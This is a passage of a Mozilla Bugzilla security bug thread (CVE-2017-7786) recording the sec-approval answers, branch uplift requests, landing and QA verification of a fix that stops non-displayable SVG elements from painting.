If not all supported branches, which bug introduced the flaw?

Do you have backports for the affected branches? If not, how different, hard to create, and risky will they be?

How likely is this patch to cause regressions; how much testing does it need?

[Security approval request comment]
How easily could an exploit be constructed based on the patch?

It would take some work or knowledge of our code to figure out what sort of markup would get us into the error state. The apparent need for designMode is particularly non-obvious.

Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?

Hopefully not.

Which older supported branches are affected by this flaw?

All of them (everything back to March 2014 - https://hg.mozilla.org/mozilla-central/rev/7997cb5af49c )

If not all supported branches, which bug introduced the flaw?

Bug 948265.

Do you have backports for the affected branches? If not, how different, hard to create, and risky will they be?

Yes, backports for beta, esr52 and release all attached.

How likely is this patch to cause regressions; how much testing does it need?

It has passed Try (pushed there since this essentially already made it to trunk). Should be low risk.
Attachment #8879650 - Flags: sec-approval?
Comment on attachment 8879650 [details] [diff] [review]
part 1 - Prevent SVG elements that are neither displayable nor paint servers from painting [r=dholbert]

sec-approval+ for trunk.
Attachment #8879650 - Flags: sec-approval? → sec-approval+
https://hg.mozilla.org/mozilla-central/rev/af94bc2592d1
Status: NEW → RESOLVED
Last Resolved: 2 years ago
status-firefox56: --- → fixed
Resolution: --- → FIXED
Target Milestone: --- → mozilla56
Group: layout-core-security → core-security-release
Looks like this stuck :). Please request Beta & ESR52 approval on this when you get a chance.
status-firefox54: affected → wontfix
Flags: needinfo?(jwatt)
(Assignee)

Comment 32

2 years ago
Comment on attachment 8879650 [details] [diff] [review]
part 1 - Prevent SVG elements that are neither displayable nor paint servers from painting [r=dholbert]

[Approval Request Comment]
If this is not a sec:{high,crit} bug, please state case for ESR consideration: ESR has the sec issue.
User impact if declined: potential security hole.
Fix Landed on Version: 56
Risk to taking this patch (and alternatives if risky): should be low
String or UUID changes made by this patch: none

See https://wiki.mozilla.org/Release_Management/ESR_Landing_Process for more info.

Approval Request Comment
[Feature/Bug causing the regression]: bug 948265.
[User impact if declined]: potential security hole.
[Is this code covered by automated tests?]: the attached test was run manually, but has not yet been landed due to security considerations.
[Has the fix been verified in Nightly?]: yes
[Needs manual test from QE? If yes, steps to reproduce]: run the attached test.
[List of other uplifts needed for the feature/fix]: none
[Is the change risky?]: should be low risk.
[Why is the change risky/not risky?]: We're making an error condition a no-op.
[String changes made/needed]: none
Flags: needinfo?(jwatt)
Attachment #8879650 - Flags: approval-mozilla-esr52?
Attachment #8879650 - Flags: approval-mozilla-beta?
Comment on attachment 8879650 [details] [diff] [review]
part 1 - Prevent SVG elements that are neither displayable nor paint servers from painting [r=dholbert]

Sec-high, Beta55+, ESR52.3+
Attachment #8879650 - Flags: approval-mozilla-esr52?
Attachment #8879650 - Flags: approval-mozilla-esr52+
Attachment #8879650 - Flags: approval-mozilla-beta?
Attachment #8879650 - Flags: approval-mozilla-beta+
Whiteboard: [adv-main55+]
(Assignee)

Comment 35

2 years ago
For ESR, should I land this just on tip, or also on FIREFOX_ESR_52_0_X_RELBRANCH?
You want to land on the default branch. Avoid anything marked as a RELBRANCH since those are only for out-of-band dot releases. That said, the ESR52 patch needs rebasing it appears :)
Flags: needinfo?(jwatt)
Jonathan rebased and landed this on ESR52.
https://hg.mozilla.org/releases/mozilla-esr52/rev/5c26df489768
status-firefox-esr52: affected → fixed
Flags: needinfo?(jwatt)
Whiteboard: [adv-main55+] → [adv-main55+][adv-esr52.3+]
Alias: CVE-2017-7786
Flags: sec-bounty?
Flags: sec-bounty? → sec-bounty+
Flags: qe-verify+
Whiteboard: [adv-main55+][adv-esr52.3+] → [adv-main55+][adv-esr52.3+][post-critsmash-triage]
I was able to reproduce the crash on an affected asan build (55.0a1, 20170516101906) using the test case from Comment 4 on Ubuntu 16.04 x64.

The crash is no longer occurring on Ubuntu 16.04 x64 using the following builds:

      - asan 56.0a1 (20170801004347)
      - asan 55.0b14 (20170731114018)
      - asan 52.2.1esr (20170731121041)
Status: RESOLVED → VERIFIED
status-firefox55: fixed → verified
status-firefox56: fixed → verified
status-firefox-esr52: fixed → verified
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.